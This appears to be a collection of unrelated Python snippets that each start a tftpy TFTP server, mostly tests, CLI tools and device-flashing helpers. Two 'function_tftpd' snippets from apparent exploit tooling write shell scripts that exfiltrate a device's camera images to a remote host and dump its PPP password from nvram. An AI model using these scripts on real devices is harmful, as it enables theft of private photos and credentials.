def testServerDownloadWithStopNotNow(self, output='/tmp/out'): log.debug("===> Running testcase testServerDownloadWithStopNotNow") root = os.path.dirname(os.path.abspath(__file__)) server = tftpy.TftpServer(root) client = tftpy.TftpClient('localhost', 20001, {}) # Fork a server and run the client in this process. child_pid = os.fork() if child_pid: # parent - let the server start stopped_early = False try: time.sleep(1) client.download('640KBFILE', output) except: log.warn("client threw exception as expected") stopped_early = True finally: os.kill(child_pid, 15) os.waitpid(child_pid, 0) self.assertTrue(stopped_early == False) else: import signal def handlealarm(signum, frame): server.stop(now=False) signal.signal(signal.SIGALRM, handlealarm) signal.alarm(2) try: server.listen('localhost', 20001) except Exception, err: self.assertTrue(False, "Server should not exit early")
def function_tftpd(): PID=os.getpid() # Write PID to file f = open('getcam.PID', 'w') f.write(str(PID)) f.close() # Create tftp server folder if not os.path.exists('tftp-cam'): os.mkdir('tftp-cam') # Create shell file to exfiltrate images (required by exploitHost2 2nd exploit attempt) f = open('tftp-cam/tftp.sh','w') f.write('cd /mnt/sdcard/DCIM/Camera ; for IMAGES in *.jpg ; do tftp -p -l $IMAGES -r $1-$IMAGES $2 ; done') f.close() # Set console logging level logging.getLogger('tftpy.TftpStates').setLevel(logging.CRITICAL) # Start TFTP Server try: server = tftpy.TftpServer('tftp-cam') server.listen('0.0.0.0', 69) except: print bcolors.RED + '[!] TFTP Server failed to initialise, exiting...' + bcolors.RESET cleanup() sys.exit()
def run(self): if self.index >= len(TQMa7DHandler.TFTP_SERVER_THREAD): if self.index == len(TQMa7DHandler.TFTP_SERVER_THREAD): tftp = tftpy.TftpServer(tftproot=None, dyn_file_func=functools.partial( _getFile, self.index)) self.transmitThread = transmitThread(tftp, self.timeout, self.listenport) TQMa7DHandler.TFTP_SERVER_THREAD.append(self.transmitThread) print("transmitThread not yet alive") self.transmitThread.start() else: raise https_server.FatalException( "TFTP_SERVER_THREAD has not the right length") else: self.transmitThread = TQMa7DHandler.TFTP_SERVER_THREAD[self.index] if not self.readThread.is_alive(): print("readThread not yet alive") self.readThread.start() TQMa7DHandler.IMG_FILE_QUEUE[self.index].put_nowait(self.processedFile) print("starting to wait for readThread") output = None try: output = TQMa7DHandler.READ_THREAD_QUEUE_OUT[self.index].get( timeout=self.readTimeout) except queue.Empty: print("unsuccessfully generated output") #pass print("finished waiting for readThread or timeout") return output
def run(self, catalog, port): server = tftpy.TftpServer(catalog) while True: try: server.listen('0.0.0.0', port) except Exception: continue
def start_tftp(): global TFTP_SERVER global IMAGE_SIZE global NUM_OF_THREADS try: TFTP_SERVER = tftpy.TftpServer(TFTP_DIR) except tftpy.TftpException: print 'Could not create TFTP server.' SYSTEM_STOP = True return False print 'TFTP server started; serving from:', TFTP_DIR onlyfiles = [f for f in listdir(TFTP_DIR) if isfile(join(TFTP_DIR, f))] print 'Has files:\n\t-', '\n\t- '.join(onlyfiles) if IMAGE_NAME not in onlyfiles: print 'TFTP directory does not have the required firmware image!' return False else: IMAGE_SIZE = getsize(join(TFTP_DIR, f)) print 'TFTP file to serve is', IMAGE_SIZE, 'bytes' tftp = threading.Thread(target = tftp_thread, args = ()) tftp.daemon = True tftp.start() NUM_OF_THREADS += 1 return True
def testServerDownloadWithPrivDropPrivilegedPortUseridOnly( self, output='/tmp/out'): """Basic test of privilege dropping- the test must be started as root""" log.debug( "===> Running testcase testServerDownloadWithPrivDropPrivilegedPortUseridOnly" ) root = os.path.dirname(os.path.abspath(__file__)) server = tftpy.TftpServer(root, drop_privileges=(VALID_UID, None), paranoid=False) server_thread = threading.Thread(target=server.listen, kwargs={ 'listenip': 'localhost', 'listenport': 69 }) server_thread.start() try: server.is_running.wait() client = tftpy.TftpClient('localhost', server.listenport, {}) time.sleep(1) client.download('640KBFILE', output) finally: server.stop(now=False) server_thread.join() # Remove the file and re-escalate privileges so that they can be dropped # again in other privilege dropping test cases. The file must be unlinked # because privileges may be dropped to a user that does not have permission # to read or write it os.unlink(output) os.setreuid(ROOT_UID, ROOT_UID) os.setregid(ROOT_GID, ROOT_GID)
def clientServerUploadOptions(self, options, input=None, transmitname=None, server_kwargs=None): """Fire up a client and a server and do an upload.""" root = '/tmp' home = os.path.dirname(os.path.abspath(__file__)) filename = '640KBFILE' input_path = os.path.join(home, filename) if not input: input = input_path if transmitname: filename = transmitname server_kwargs = server_kwargs or {} server = tftpy.TftpServer(root, **server_kwargs) client = tftpy.TftpClient('localhost', 20001, options) # Fork a server and run the client in this process. child_pid = os.fork() if child_pid: # parent - let the server start try: time.sleep(1) client.upload(filename, input) finally: os.kill(child_pid, 15) os.waitpid(child_pid, 0) else: server.listen('localhost', 20001)
def main(): # parse command line arguments ap = argparse.ArgumentParser() ap.add_argument("-p", "--port", type=int, help="listening port", required=True) ap.add_argument( "-r", "--root_dir", required=True, type=str, help= "root directory for the TFTP server. This should be an absolute path", ) args = vars(ap.parse_args()) port = args["port"] server = tftpy.TftpServer(args["root_dir"]) try: server.listen(listenport=port) except PermissionError: print("Elevated privilege is required to open port " + str(port) + ". Retry with a port >= 1024.")
def _start_server(self, event): """Responsible for the actual TFTP server start. Invokes the :meth:`tftpy.listen` method which starts the TFTP server's loop sequence for active connections. .. warning:: Should not be called directly. You probably want to call the :meth:`itt.TftpServer.start` method instead. **Args:** event (:mod:`multiprocessing.Event`): Internal semaphore that terminates the FTP server once it is set. """ self.server = tftpy.TftpServer(self.root) # Prepare the environment to handle SIGTERM. signal.signal(signal.SIGTERM, self._exit_handler) try: log_msg = '%s --' % type(self).__name__ self.server.listen(listenport=self.port) log.debug('%s listening on port: %d' % (log_msg, self.port)) except tftpy.TftpException as err: log.critical('%s' % str(err))
def _tftp_server(): thread = threading.currentThread() while getattr(thread, "running", True): try: server = tftpy.TftpServer(getattr(thread, "path", '.')) server.listen('0.0.0.0', 69) except KeyboardInterrupt: break
def _run(self): try: self.server = tftpy.TftpServer(self.root, self._get) self.running = True self.server.listen(self.address, self.port) self.running = False except Exception as e: logger.error("Can't start TFTP server %s", e) self.running = False
def main(): CURRENT_PATH = os.path.dirname(os.path.abspath(__file__)) TFTPBOOT_PATH = os.path.abspath(os.path.join(CURRENT_PATH, "../tftpboot/")) print("Launching TELNET server at port: %s\nServing path: %s" % (settings.TFTP_PORT, TFTPBOOT_PATH)) server = tftpy.TftpServer(TFTPBOOT_PATH) print("Listening...") server.listen(settings.HOST, settings.TFTP_PORT)
def run(self): print("Starting TFTP Server") self.server = tftpy.TftpServer(self.directory) try: self.server.listen(self.IP, self.Port) except tftpy.TftpException as err: sys.stderr.write("%s\n" % str(err)) sys.exit(1) except KeyboardInterrupt: pass
def main(): usage = "" parser = OptionParser(usage=usage) parser.add_option('-i', '--ip', type='string', help='ip address to bind to (default: INADDR_ANY)', default="") parser.add_option('-p', '--port', type='int', help='local port to use (default: 69)', default=69) parser.add_option('-r', '--root', type='string', help='path to serve from', default=None) parser.add_option('-q', '--quiet', action='store_true', default=False, help="Do not log unless it is critical") parser.add_option('-d', '--debug', action='store_true', default=False, help='upgrade logging from info to debug') options, args = parser.parse_args() if options.debug: log.setLevel(logging.DEBUG) # increase the verbosity of the formatter debug_formatter = logging.Formatter( '[%(asctime)s%(msecs)03d] %(levelname)s [%(name)s:%(lineno)s] %(message)s' ) handler.setFormatter(debug_formatter) elif options.quiet: log.setLevel(logging.WARN) if not options.root: parser.print_help() sys.exit(1) hook = Progress(log.info).progresshook server = tftpy.TftpServer(options.root) try: server.listen(options.ip, options.port, packethook=hook) except tftpy.TftpException as err: sys.stderr.write("%s\n" % str(err)) sys.exit(1) except KeyboardInterrupt: pass
def tftp_server(computer_address, queue): print "Creating TFTP server and binding to " + str(computer_address) + ":69" # Have the TFTP send the dynamic file for any download requests server = tftpy.TftpServer('') queue.put(server) server.listen(computer_address, 69) return
def starttftp(): if not os.path.exists('configs'): os.makedirs('configs') while True: tftpserver = tftpy.TftpServer('configs') tftpserver.listen('0.0.0.0', 69) global stop_threads if stop_threads: tftpserver.shutdown_gracefully() break
def setup_tftp_server(rootpath=None, server=None, port=None): if rootpath is None or not isinstance(rootpath, str): rootpath = '/tmp' if server is None: server = '127.0.0.1' if port is None: port = 69 print "=" * 40 + 'setup_tftp_server' + "=" * 40 print "=" * 40 + 'rootpath:' + str(rootpath) + "=" * 40 print "=" * 40 + 'server:' + str(server) + "=" * 40 print "=" * 40 + 'port:' + str(port) + "=" * 40 s = tftpy.TftpServer(rootpath) s.listen(server, int(port))
def main(): usage="" parser = OptionParser(usage=usage) parser.add_option('-i', '--ip', type='string', help='ip address to bind to (default: INADDR_ANY)', default="") parser.add_option('-p', '--port', type='int', help='local port to use (default: 69)', default=69) parser.add_option('-r', '--root', type='string', help='path to serve from', default=None) parser.add_option('-q', '--quiet', action='store_true', default=False, help="Do not log unless it is critical") parser.add_option('-d', '--debug', action='store_true', default=False, help='upgrade logging from info to debug') options, args = parser.parse_args() if options.debug: tftpy.setLogLevel(logging.DEBUG) elif options.quiet: tftpy.setLogLevel(logging.WARN) else: tftpy.setLogLevel(logging.INFO) if not options.root: parser.print_help() sys.exit(1) server = tftpy.TftpServer(options.root) try: server.listen(options.ip, options.port) except tftpy.TftpException as err: sys.stderr.write("%s\n" % str(err)) sys.exit(1) except KeyboardInterrupt: pass
def __init__(self, root_dir, listen_ip, listen_port=TFTP_SERVER_DEFAULT_PORT): import tftpy import threading logging.getLogger("tftpy").setLevel(logging.WARN) self.server = tftpy.TftpServer(root_dir) def run(): self.server.listen(listen_ip, listen_port) self.thread = threading.Thread(target=run)
def __init__(self, serialport=None, ipaddr='192.168.1.1', telnetport=23): self.debug = True self.stdout_initial = sys.stdout self.shell_prompt = 'root@ugwcpe:' self.boardlogin = '******' self.boardpassword = '******' self.tftp_ip = b'192.168.1.2' self.fh = None self.loggedin_tn = False self.loggedin_serial = False self.ipaddr = ipaddr self.telnetport = telnetport self.helloattempts = 10 self.serialport = serialport self.speed = 115200 self.sane = False self.uboot_prompt = 'GRX500 #' self.tftphostapdpath = 'wave_drv/builds/ugw7.3-grx550/tools/wifi_opensource/hostapd-2.6/hostapd/' self.tftpdrvpath = 'wave_drv/builds/ugw7.3-grx550/binaries/wls/driver/' self.tftpiwpath = 'wave_drv/builds/ugw7.3-grx550/tools/wifi_opensource/iw-3.17/' self.cfg80211path = 'ugw/openwrt/core/staging_dir/target-mips_mips32_uClibc-0.9.33.2_grx550_2000_mr_vdsl_lte_sec_gw_711/root-lantiq/lib/modules/3.10.102/' self.tftpfwpath = 'fw/6.0.4/FW_6.0.4_Rel2.0_r12799/' self.uname = '' self.comport = False self.tftpd_server = False self.tftpd_server_th = False self.tftpdroot = 'C:\TFTP' try: self.tn = telnetlib.Telnet(self.ipaddr, self.telnetport) except: pass try: self.comport = serial.Serial(self.serialport, self.speed) except: self.comport = False if (not (self.comport or self.tn)): raise ( "Neither telnet or serial connection to the board available!\n" ) try: self.tftpd_server = tftpy.TftpServer(self.tftpdroot) except: pass
def _listener(self): tftpy.log.setLevel(100) try: self.server = tftpy.TftpServer(tftproot='.', dyn_file_func=self._exe_handle) except tftpy.TftpException as te: raise error.general('tftp: %s' % (str(te))) if self.server is not None: try: self.server.listen('0.0.0.0', self.port, 0.5) except tftpy.TftpException as te: raise error.general('tftp: %s' % (str(te))) except IOError as ie: if ie.errno == errno.EACCES: raise error.general( 'tftp: permissions error: check tftp server port') raise error.general('tftp: io error: %s' % (str(ie)))
def TFTPServerSide(): TFTPServer = TFTP_Server() # Obtain parameter variable TFTPip = TFTPServer.config.CONFIG_SET['MAIN_BOARD']['TFTP_SERVER_IP'] # Start up TFTP Server filePath = ROOT_PATH + os.sep + "Image" TFTPServer.logger.info("Deploy file folder path : %s\n" % filePath) TFTPServer.logger.info("TFTP Server IP Address : %s " % TFTPip) server = tftpy.TftpServer(filePath) server.listen("192.168.1.100", 69) # listen sleep(5) server.stop(True) # Close TFTP
def testServerDownloadWithStopNow(self, output='/tmp/out'): log.debug("===> Running testcase testServerDownloadWithStopNow") root = os.path.dirname(os.path.abspath(__file__)) server = tftpy.TftpServer(root) client = tftpy.TftpClient('localhost', 20001, {}) # Fork a server and run the client in this process. child_pid = os.fork() if child_pid: try: # parent - let the server start stopped_early = False time.sleep(1) def delay_hook(pkt): time.sleep(0.005) # 5ms client.download('640KBFILE', output, delay_hook) except Exception: log.warning("client threw exception as expected") stopped_early = True finally: os.kill(child_pid, 15) os.waitpid(child_pid, 0) self.assertTrue(stopped_early is True, "Server should not exit early") else: import signal def handlealarm(signum, frame): server.stop(now=True) signal.signal(signal.SIGALRM, handlealarm) signal.alarm(2) try: server.listen('localhost', 20001) log.error("server didn't throw exception") except Exception as err: log.error("server got unexpected exception %s" % err) # Wait until parent kills us while True: time.sleep(1) os.unlink(output)
def clientServerDownloadOptions(self, options, output='/tmp/out'): """Fire up a client and a server and do a download.""" root = os.path.dirname(os.path.abspath(__file__)) server = tftpy.TftpServer(root) client = tftpy.TftpClient('localhost', 20001, options) # Fork a server and run the client in this process. child_pid = os.fork() if child_pid: # parent - let the server start try: time.sleep(1) client.download('640KBFILE', output) finally: os.kill(child_pid, 15) os.waitpid(child_pid, 0) else: server.listen('localhost', 20001)
def testServerDownloadWithDynamicPort(self, output='/tmp/out'): log.debug("===> Running testcase testServerDownloadWithDynamicPort") root = os.path.dirname(os.path.abspath(__file__)) server = tftpy.TftpServer(root) server_thread = threading.Thread(target=server.listen, kwargs={'listenip': 'localhost', 'listenport': 0}) server_thread.start() try: server.is_running.wait() client = tftpy.TftpClient('localhost', server.listenport, {}) time.sleep(1) client.download('640KBFILE', output) finally: server.stop(now=False) server_thread.join()
def tftpyListen(): import tftpy #@UnresolvedImport try: tftpy.TftpShared.setLogLevel(logging.FATAL) tftp_path = os.path.abspath(config_master.tftpRoot) if not os.path.exists(tftp_path): error = "TFTP directory does not exist! Could not start TFTP server. Please check your settings." print error self.thread_failure_notify(error) else: print "Starting TFTP server in %s " % tftp_path tftpserver = tftpy.TftpServer(tftp_path) tftpserver.listen(listenip=config_master.dhcpServerAddress, listenport=69) except socket.error: error = "Error assigning IP %s address for TFTP server. Another one is running or you didn't run this program with root permissions. Perhaps another instance of the program is left running or you have started this instance before the ports could be freed." % config_master.dhcpServerAddress print error self.thread_failure_notify(error) except tftpy.TftpShared.TftpException: tftpyListen()
def function_tftpd(): PID = os.getpid() # Write PID to file f = open('getpwd.PID', 'w') f.write(str(PID)) f.close() # Create tftp server folder if not os.path.exists('tftp'): os.mkdir('tftp') if os.path.exists('tftp/passwd.txt'): os.remove('tftp/passwd.txt') # Create shell file to exfiltrate password f = open('tftp/getpwd.sh', 'w') f.write('nvram show | grep ^2= | sed s/^2=// > /sdcard/ppp/passwd.txt') f.close() # Start TFTP Server server = tftpy.TftpServer('tftp') server.listen('0.0.0.0', 69)
def main(): """ The main function that checks for root permissions and then starts the TFTP Server on Port 69 :param: :return: """ try: # Determine if root privileges being used if not os.geteuid() == 0: print("{0} TFTP_SRV must be run as root.".format(error)) sys.exit(-1) service = tftpy.TftpServer('') print("{0} Listening on Port 69".format(info)) print("Type \033[1m\033[93m^C\033[0m to Quit!") service.listen('0.0.0.0', 69) except Exception as e: print("\n{0} {1}\n".format(error, e)) sys.exit(-1) except KeyboardInterrupt: print("\n{} User Interrupt! Quitting....\n".format(error)) sys.exit(-1)
def main(): usage = "" parser = OptionParser(usage=usage) parser.add_option('-i', '--ip', type='string', help='Direccion ip donde se iniciara el servidor', default="") parser.add_option( '-p', '--port', type='int', help= 'Puerto donde se hara la comunicación con el servidor (default: 69)', default=69) parser.add_option('-r', '--root', type='string', help='Dirección raíz del servidor', default=None) options, args = parser.parse_args() if not options.root: parser.print_help() sys.exit(1) server = tftpy.TftpServer(options.root) try: server.listen(options.ip, options.port) except tftpy.TftpException as err: sys.stderr.write("%s\n" % str(err)) sys.exit(1) except KeyboardInterrupt: print("Deteniendo el servidor") server.stop() sys.exit(1)
#!/usr/bin/env python import tftpy if __name__ == "__main__": server = tftpy.TftpServer('./tftp_root/') server.listen('192.168.84.9', 69)